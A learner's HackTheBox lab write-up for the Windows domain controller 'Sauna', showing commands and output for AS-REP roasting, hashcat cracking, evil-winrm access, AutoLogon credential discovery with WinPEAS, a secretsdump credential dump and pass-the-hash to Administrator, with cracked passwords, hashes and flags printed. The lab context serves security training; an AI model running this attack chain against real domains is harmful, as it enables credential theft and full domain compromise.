

report

Report - Sauna - HackTheBox

- Author: Henry Post
- Target: Sauna
- Target IP: 10.129.38.113
- Attacker IP: n/a
- Date: 07/15/2026

Executive Summary

The target, Sauna, was enumerated by `nmap` to have an HTTP server running. It also had WinRM and was a domain controller.

We enumerate the website and build a username list that we mutate.

We use `impacket-GetNPUsers` to steal a password hash (TGT), and crack it, giving us access to the `fsmith` user.

From there, we use WinPEAS to get AutoLogon credentials for another user, `svc_loanmanager`.

We then use `impacket-secretsdump` to dump passwords and get the admin hash, which we use to login by using pass-the-hash and `evil-winrm`.

We have SYSTEM access.

Recommendations

- Disable WinRM if not needed.
- Do not publicly disclose user names on the site.
- Do not cache Windows credentials.

Resources

- <https://app.hackthebox.com/machines/Sauna>
 - Write-up was used as I am still learning.

Recon

```
# port scan
nmap -p- -Pn 10.129.38.113 -v --min-rate 1000 --max-rtt-timeout 1000ms --
max-retries 5 -oN nmap_ports.txt

# service scan
nmap -Pn 10.129.38.113 -sV -sC -v -oN nmap_sVsC.txt
```

Looks like port 80 (http) is open, and this machine is a domain controller.

<http://10.129.38.113> is some bank website. Let's run dirb.

```
dirb http://10.129.38.113
```

Actually, let's run ffuf .

```
sudo apt update && sudo apt install -y seclists

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u
http://10.129.38.113/FUZZ
```

Not much interesting stuff.

I'm going to consult an official writeup to speed this up.

We note the hostname from the DC is EGOTISTICAL-BANK.LOCAL .

Next, we use windapsearch to try to enumerate users.

```
wget https://github.com/ropnop/go-
windapsearch/releases/download/v0.3.0/windapsearch-linux-amd64

chmod +x ./windapsearch-linux-amd64

./windapsearch-linux-amd64 -d egotistical-bank.local --dc-ip 10.129.38.113 -
U

# failure
```

We can also try Impacket's GetADUsers.py .

```
impacket-GetADUsers egotistical-bank.local/ -dc-ip 10.129.38.113 -debug
```

```
# nothing
```

The `smbclient` utility can be used to enumerate shares. Anonymous login is successful, but no shares are returned.

```
smbclient -L \\\10.129.38.113 -N
```

<http://10.129.38.113/about.html>

This about page has names on it.

We can use a tool such as [Username Anarchy](https://github.com/urbanadventurer/username-anarchy) to create common username permutations based on the full names. After saving the full names to a text file, we run the script. (<https://github.com/urbanadventurer/username-anarchy>)

```
cd ~

echo "Fergus Smith
Hugo Bear
Steven Kerb
Shaun Coins
Bowie Taylor
Sophie Driver" > fullnames.txt

git clone https://github.com/urbanadventurer/username-anarchy/

cd username-anarchy

./username-anarchy --input-file ../fullnames.txt --select-format
first,flast,first.last,firstl > ../unames.txt
```

From the guide...

With our list of common usernames, we can see if Kerberos pre-authentication has been disabled for any of them. Kerberos pre-authentication is a security feature that provides protection against password-guessing attacks. In some cases, applications require this setting to be enabled for their service account (e.g. [Alfresco](#)). When pre-authentication is not enforced, one could directly send a dummy request for authentication. The Key Distribution Center (KDC) of the Domain Controller will check the authentication service request (AS-REQ), verify the user information and return an encrypted Ticket Granting Ticket (TGT). The TGT contains material (the timestamp) that is encrypted with the NTLM hash of the corresponding account. A hash can be derived from this, that can be subjected to an offline brute force attack in order to reveal the plaintext password.

Using Impacket's [GetNPUser](#), we can attempt an ASREPROasting attack in order to extract a hash from user accounts that do not require [pre-authentication](#). A simple bash command can be used to execute this attack, and iterate through the usernames in `unames.txt`.

Okay. Let's try it out.

```
while read p; do impacket-GetNPUsers egotistical-bank.local/"$p" -request -no-pass -dc-ip 10.129.38.113 >> hash.txt; done < unames.txt
```

Success. We get one hit.

```
[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-
BANK.LOCAL:56f21280771355ecb5c922223dbbd359$6ab788a16d70251e549be47b3dd72cc7
69ff0310b22da8d0c0161666256432f50df3509f8853bb0a225d04190d41b238e89d7b806908
6559d6e2ee49e43ae9b81dce31c343da6c90c6215c88360c082a22231a595f16b5dff0771817
6b88c93d66848c09757d41e7df703dd90fd1b1ea30c4b4dd2e06e68c8adb92912f1ae4c2f694
3191d378d30ce10728c94e6f87079cb78d4fc8836de3b59e8b20f6a76224113b5b2b9647eb2c
0d9766a3df50f855cdfecfad0feb7cb499214fcffcab0730d8ec1a2e4164ebb56e1b5ff9c3a2
05bfa815dd2c584e0d5b293a62c47370fd2d396b4d9e1d6352bb477409cb5bc3838620fba4ae
135572b63dbe5d6a54c55442
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

`hashcat` can be used to brute force the password. We can save the hash into a file, and determine the correct hash mode for ASREPROasting.

```
hashcat -hh | grep -i kerberos
```

```
<<EOF
 19600 | Kerberos 5, etype 17, TGS-REP |
Network Protocol
 19800 | Kerberos 5, etype 17, Pre-Auth |
Network Protocol
 28800 | Kerberos 5, etype 17, DB |
Network Protocol
 32100 | Kerberos 5, etype 17, AS-REP |
Network Protocol
 19700 | Kerberos 5, etype 18, TGS-REP |
Network Protocol
 19900 | Kerberos 5, etype 18, Pre-Auth |
Network Protocol
 28900 | Kerberos 5, etype 18, DB |
Network Protocol
```

```

32200 | Kerberos 5, etype 18, AS-REP |
Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth |
Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP |
Network Protocol
18200 | Kerberos 5, etype 23, AS-REP |
Network Protocol
EOF

```

We choose Kerberos 5 AS-REP etype 23 , i.e. mode 18200 . Next, run hashcat specifying this mode and the rockyou.txt wordlist.

```

echo '$krb5asrep$23$fsmith@EGOTISTICAL-
BANK.LOCAL:56f21280771355ecb5c922223dbbd359$6ab788a16d70251e549be47b3dd72cc7
69ff0310b22da8d0c0161666256432f50df3509f8853bb0a225d04190d41b238e89d7b806908
6559d6e2ee49e43ae9b81dce31c343da6c90c6215c88360c082a22231a595f16b5dff0771817
6b88c93d66848c09757d41e7df703dd90fd1b1ea30c4b4dd2e06e68c8adb92912f1ae4c2f694
3191d378d30ce10728c94e6f87079cb78d4fc8836de3b59e8b20f6a76224113b5b2b9647eb2c
0d9766a3df50f855cdfecfad0feb7cb499214fcffcab0730d8ec1a2e4164ebb56e1b5ff9c3a2
05bfa815dd2c584e0d5b293a62c47370fd2d396b4d9e1d6352bb477409cb5bc3838620fba4ae
135572b63dbe5d6a54c55442' > hash.txt

```

```

hashcat -m 18200 hash.txt -o pass.txt /usr/share/wordlists/rockyou.txt --
force

```

Output is Thestrokes23 . Great.

Local Access

WinRM

With the gained credentials fsmith / Thestrokes23 we can try to login using WinRM (port 5985). Windows Remote Management (WinRM), is a Windows-native built-in remote management protocol and it is often enabled for users that need to manage systems remotely. We can use [evilwinrm](#) to connect to the remote system

```

evil-winrm -i 10.129.38.113 -u fsmith -p 'Thestrokes23'

```

We have non-SYSTEM pwn :)

Escalation

Let's run WinPEAS for some escalation.

```
# on attacker
wget https://github.com/peass-ng/PEASS-ng/releases/download/20260715-81d3c7f8/winPEAS.bat

# on evil-winrm
upload winPEAS.bat

./winPEAS.bat
# it doesn't find anything, let's try the .exe version

wget https://github.com/peass-ng/PEASS-ng/releases/download/20260715-81d3c7f8/winPEASx64.exe

# on evil-winrm
upload winPEASx64.exe

./winPEASx64.exe
```

We found some autologon credentials.

```
ÉÉÉÉÉÉÉÉÉÉ¹ Looking for AutoLogon credentials (T1552.002)
Some AutoLogon credentials were found
DefaultDomainName      : EGOTISTICALBANK
DefaultUserName        : EGOTISTICALBANK\svc_loanmanager
DefaultPassword        : Moneymakestheworldgoround!
```

We can now login as this user with `evil-winrm`.

```
evil-winrm -i 10.129.38.113 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
```

It works. Great.

BloodHound

We can use Bloodhound to enumerate and visualise the Active Directory domain, and identify possible attack chains that will allow us to elevate our domain privileges. The `bloodhound-python` ingestor can be used to remotely collect data from the Active Directory. Then, we can run `bloodhound` to visualise any available attack paths.

Thanks, guide. Okay. Let's do this.

```
bloodhound-python -u svc_loanmgr -p Moneymakestheworldgoround! -d
EGOTISTICALBANK.LOCAL -ns 10.129.38.113 -c All
```

It fails:

```
└─(kali㉿kali)-[~]
└─$ bloodhound-python -u svc_loanmgr -p Moneymakestheworldgoround! -d
EGOTISTICALBANK.LOCAL -ns 10.129.38.113 -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
Traceback (most recent call last):
  File "/usr/bin/bloodhound-python", line 33, in <module>
    sys.exit(load_entry_point('bloodhound==1.9.0', 'console_scripts',
'bloodhound-python'))()

~~~~~
~^^
  File "/usr/lib/python3/dist-packages/bloodhound/__init__.py", line 314, in
main
    ad.dns_resolve(domain=args.domain, options=args)
    ~~~~~^~~~~~
  File "/usr/lib/python3/dist-packages/bloodhound/ad/domain.py", line 749,
in dns_resolve
    q = self.dnsresolver.query(query, 'SRV', tcp=self.dns_tcp)
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1371, in query
    return self.resolve(
        ~~~~~^
        qname,
        ^~~~~
    ...<7 lines>...
        True,
        ^~~~~
    )
    ^
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1328, in
resolve
    timeout = self._compute_timeout(start, lifetime, resolution.errors)
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1084, in
_compute_timeout
    raise LifetimeTimeout(timeout=duration, errors=errors)
dns.resolver.LifetimeTimeout: The resolution lifetime expired after 3.105
seconds: Server Do53:10.129.38.113@53 answered The DNS operation timed out.
```

Root access

Claude says I should use Impacket.

```
impacket-secretsdump  
EGOTISTICALBANK/svc_loanmgr: 'Moneymakestheworldgoround!'@10.129.38.113
```

Output:

```
[ - ] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 -  
rpc_s_access_denied  
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)  
[*] Using the DRSUAPI method to get NTDS.DIT secrets  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf8  
6c7f98e:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:  
::  
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c  
:::  
EGOTISTICAL -  
BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1be  
ab9a201db1dd:::  
EGOTISTICAL -  
BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1be  
ab9a201db1dd:::  
EGOTISTICAL -  
BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b1  
70b04058ba2bba48c:::  
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:ff8e40e10c9d9efe67b3703ccd23927  
d:::  
[*] Kerberos keys grabbed  
Administrator:aes256-cts-hmac-sha1-  
96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657  
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e  
Administrator:des-cbc-md5:fb8f321c64cea87f  
krbtgt:aes256-cts-hmac-sha1-  
96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24  
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9  
krbtgt:des-cbc-md5:c170d5dc3edfcd9  
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-  
96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324  
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-  
96:909929b037d273e6a8828c362faa59e9  
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7  
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-  
96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2  
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-
```



```
96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-
96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-
96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-
96:b99da066ec06710958ab168f08e54fa7c4413acde4c68eca376549f291cd2088
SAUNA$:aes128-cts-hmac-sha1-96:6897db060dc4ced533a3440c3bc2bd43
SAUNA$:des-cbc-md5:1fa44c4a76869226
[*] Cleaning up...
```

Good:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf8
6c7f98e:::
```

Now we can just do pass-the-hash.

```
evil-winrm -i 10.129.38.113 -u Administrator -H
823452073d75b9d1cf70ebdf86c7f98e
```

Proof

Local proof

- `ip a / ifconfig`
- `whoami`
- `hostname`
- `date`
- `cat local.txt`

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\FSmith\Documents> cd ../Desktop

Evil-WinRM PS C:\Users\FSmith\Desktop> dir

Directory: C:\Users\FSmith\Desktop

Mode	LastWriteTime	Length	Name
-ar--	7/15/2026 6:08 PM	34	user.txt

Evil-WinRM PS C:\Users\FSmith\Desktop> type user.txt

1977089dcd40a9e4500563978aefc373

Evil-WinRM PS C:\Users\FSmith\Desktop> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . : .htb
IPv6 Address. : dead:beef::38b1:ad7c:250d:913c
Link-local IPv6 Address : fe80::38b1:ad7c:250d:913c%7
IPv4 Address. : 10.129.38.113
Subnet Mask : 255.255.0.0
Default Gateway : fe80::250:56ff:feb0:4ef9%7
10.129.0.1

Evil-WinRM PS C:\Users\FSmith\Desktop> whoami

egotisticalbank\fsmith

Evil-WinRM PS C:\Users\FSmith\Desktop> hostname

SAUNA

Evil-WinRM PS C:\Users\FSmith\Desktop> date

Wednesday, July 15, 2026 7:53:35 PM

Evil-WinRM PS C:\Users\FSmith\Desktop> █

Root proof

- ip a / ifconfig
- whoami
- hostname
- date
- cat proof.txt

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

```
Connection-specific DNS Suffix  . : .htb
IPv6 Address. . . . . : dead:beef::38b1:ad7c:250d:913c
Link-local IPv6 Address . . . . . : fe80::38b1:ad7c:250d:913c%7
IPv4 Address. . . . . : 10.129.38.113
Subnet Mask . . . . . : 255.255.0.0
Default Gateway . . . . . : fe80::250:56ff:feb0:4ef9%7
                             10.129.0.1
```

Evil-WinRM PS C:\Users\Administrator\Documents> whoami
hoegotisticalbank\administrator

Evil-WinRM PS C:\Users\Administrator\Documents> hostname
SAUNA

Evil-WinRM PS C:\Users\Administrator\Documents> date

Thursday, July 16, 2026 5:50:21 PM

Evil-WinRM PS C:\Users\Administrator\Documents> cd ../Desktop

Evil-WinRM PS C:\Users\Administrator\Desktop> dir

Directory: C:\Users\Administrator\Desktop

Mode	LastWriteTime	Length	Name
-ar--	7/15/2026 6:08 PM	34	root.txt

security with Hack The Box

Evil-WinRM PS C:\Users\Administrator\Desktop> type root.txt
eeec2fa520658d76fc187996ad024ad8

Evil-WinRM PS C:\Users\Administrator\Desktop> █